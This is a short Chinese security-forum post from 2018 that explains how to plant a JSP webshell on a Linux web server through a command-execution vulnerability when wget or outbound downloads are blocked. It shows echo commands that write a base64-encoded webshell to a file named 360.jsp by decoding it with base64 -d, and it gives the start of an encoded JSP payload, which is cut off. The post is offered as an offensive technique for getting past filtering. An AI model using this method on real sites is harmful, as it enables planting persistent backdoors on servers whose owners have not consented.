Linux Echo Jsp木马小技巧一则

5ecu**** / 2018-03-21 09:19:00 / 浏览数 15827 安全技术 技术讨论 顶(0) 踩(0)

---

Author:darkyantou@5ecurity.cn
原文链接：http://www.5ecurity.cn/index.php/archives/137/

我们有时候会遇到存在命令执行漏洞的网站，我们想写入一句话或者jsp大马。
偶尔运气比较背，或者策略比较严会出现以下两种情况：

1. wget 命令不存在
2. 禁止从外网下载东西

这是我们可能想要通过echo 来写一个木马文件

```
echo neirong > /■■/360.jsp
```

问题来了 小马或者大马存在各种特殊字符需要转义输出文件中内容各种报错不解析等等
这时候我们可以利用base64编码再解码输出到文件，完美解决转义问题
语句如下：

```
echo base64■■■■■■ |base64 -d > 360.jsp
```

```
echo PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KCjxqc3A6cm9vdCB4bWxuczpqc3A9Imh0dHA6Ly9qYXZhLnN1bi5jb20vSlNQL1BhZ2UiI
```

截图如下：


上一篇：基于PU-Learning的恶意U... 下一篇：高版本MySQL之UDF提权

1. 0 条回复
   - 动动手指，沙发就是你的了！